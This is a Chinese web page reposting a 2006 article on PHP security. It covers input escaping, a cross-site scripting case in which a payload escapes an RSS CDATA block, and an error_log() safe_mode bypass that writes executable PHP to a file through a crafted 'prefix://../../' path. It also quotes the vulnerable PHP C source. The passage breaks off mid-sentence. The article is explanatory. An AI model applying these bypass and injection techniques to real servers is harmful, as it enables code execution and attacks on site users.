当前位置: 首页 > 图文教程 > 网络编程 > PHP > PHP泛安全

PHP
利用discuz实现PHP大文件上传应用实例代码
php 遍历显示文件夹下所有目录、所有文件的函数,没有分页的代码
php在字符串中查找另一个字符串
php下HTTP Response中的Chunked编码实现方法
PHP实现定时生成HTML网站首页实例代码
PHP下一个非常全面获取图象信息的函数
PHP strtr() 函数使用说明
php 删除无限级目录与文件代码共享
php AJAX实例根据邮编自动完成地址信息
php miniBB中文乱码问题解决方法
cmd下运行php脚本
PHP 遍历XP文件夹下所有文件
php 移除数组重复元素的一点说明
discuz论坛 用户登录 后台程序代码
Optimizer与Debugger兼容性问题的解决方法
Zend Studio 无法启动的问题解决方法
php 页面执行时间计算代码
php smarty的预保留变量总结
php获取网页内容方法总结
php读取msn上的用户信息类

PHP泛安全


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-03   浏览: 231 ::
收藏到网摘: n/a

/*---------------
*Author:xy7
*Data:2006/11/1
*---------------
*/


如今基于PHP的WEB程序是越来越安全了,php.ini默认时的 magic_quotes_gpc=on就在初始安全性上提高了一个档次.很多程序在接受到用户的输入时都会提前判断一下 get_magic_quotes_gpc() 即使这个开关没有开就马上addslashes()函数跟上进行转义,所以想在PHP程序中找到一个类似与以前ASP注入那样的漏洞是比较不容易的.
对于PHP的跨站其实也很好防范,用 htmlentities() 就可以了,不过当处理XML文件时采用这个函数可能会出现些问题,只需手工转换下那5个元字符就可以了。举个例子,以前写过篇文章关于XML文件隐患的,其实就是CDATA部件的问题,现在比较流行的说法是AJAX hacking,大概说下,看看以下代码:
if ($rssid == 0 OR $rssid == 7) {
} elseif (!empty($stmt)) {
    $dbinfo =& $db->getResultSet($stmt, array('pageSize'=>$pagesize));
    if ($dbinfo === false) {
        $msginfo = str_replace(']]>', ']]>', $lang['tpl.str0']);
        $TPL_items .= <<<EOT
        <item>
            <title>{$msginfo}</title>
            <link>{$fsetting['forumurl']}</link>
            <author>{$fsetting['forumname']}</author>
            <pubDate>{$datenow}</pubDate>
            <description><![CDATA[{$msginfo}]]></description>
        </item>
EOT;
$msginfo是用户提交的,然后被程序写进RSS里以用来聚合,如果$msginfo的值为<sciript>alert('loveshell')</script>时,RSS聚合解析后会原样输出,如果为]]><sciript>alert('loveshell')</script>时,就可以跨站了,看看他的过滤:
if ($dbinfo === false) {
        $msginfo = str_replace(']]>', ']]>', $lang['tpl.str0']);
很好意识到了这点,可是这句呢<title>{$msginfo}</title>,意识到问题所在很关键,重要的是要理解问题.

可是还是有很多会被程序员疏忽的地方,这是安全意识的问题,对于用户的任何输入,在写程序时脑子里都要提前做个思考:用户的输入是什么类型的?用户会有哪些输入方式?怎么处理用户的错误和非常规输入?
PHP的安全还体现在Safe Mode 和openbase-dir上.即使这样基于PHP底层的一些漏洞还是会直接影响到这两个非常重要的安全选项.举个例子:
比如error_log() Safe Mode Bypass
看他的语法:bool error_log ( string message [, int message_type [, string destination [, string extra_headers]]] )
输出错误信息到一个文件,可以这样写
<?
error_log("<? phpinfo();?>", 3, "test.php");
?>
运行在safe_mode关闭的情况下,直接访问test.php就可以看到phpinfo了,当safe_mode开的时候就会报错,再这样写:
<?
error_log("<? phpinfo();?>", 3, "prefix://../../test.php");
?>可以看到phpinfo又被执行了
看下漏洞代码:
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC)

{

php_stream *stream = NULL;

switch (opt_err) {

case 1: /*send an email */

{

#if HAVE_SENDMAIL

if (!php_mail(opt, "PHP error_log message", message, headers, NULL TSRMLS_CC)) {


return FAILURE;

}

php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not available!");

return FAILURE;

}

break;

case 2: /*send to an address */

php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not available!");

return FAILURE;

break;

case 3: /*save to a file */

stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);

if (!stream)

return FAILURE;

php_stream_write(stream, message, strlen(message));

php_stream_close(stream);

break;

default:

php_log_err(message TSRMLS_CC);

break;

}

return SUCCESS;

}
可以看到error_log函数的核心就是 php_stream_open_wrapper()函数,问题也就出在保存错误信息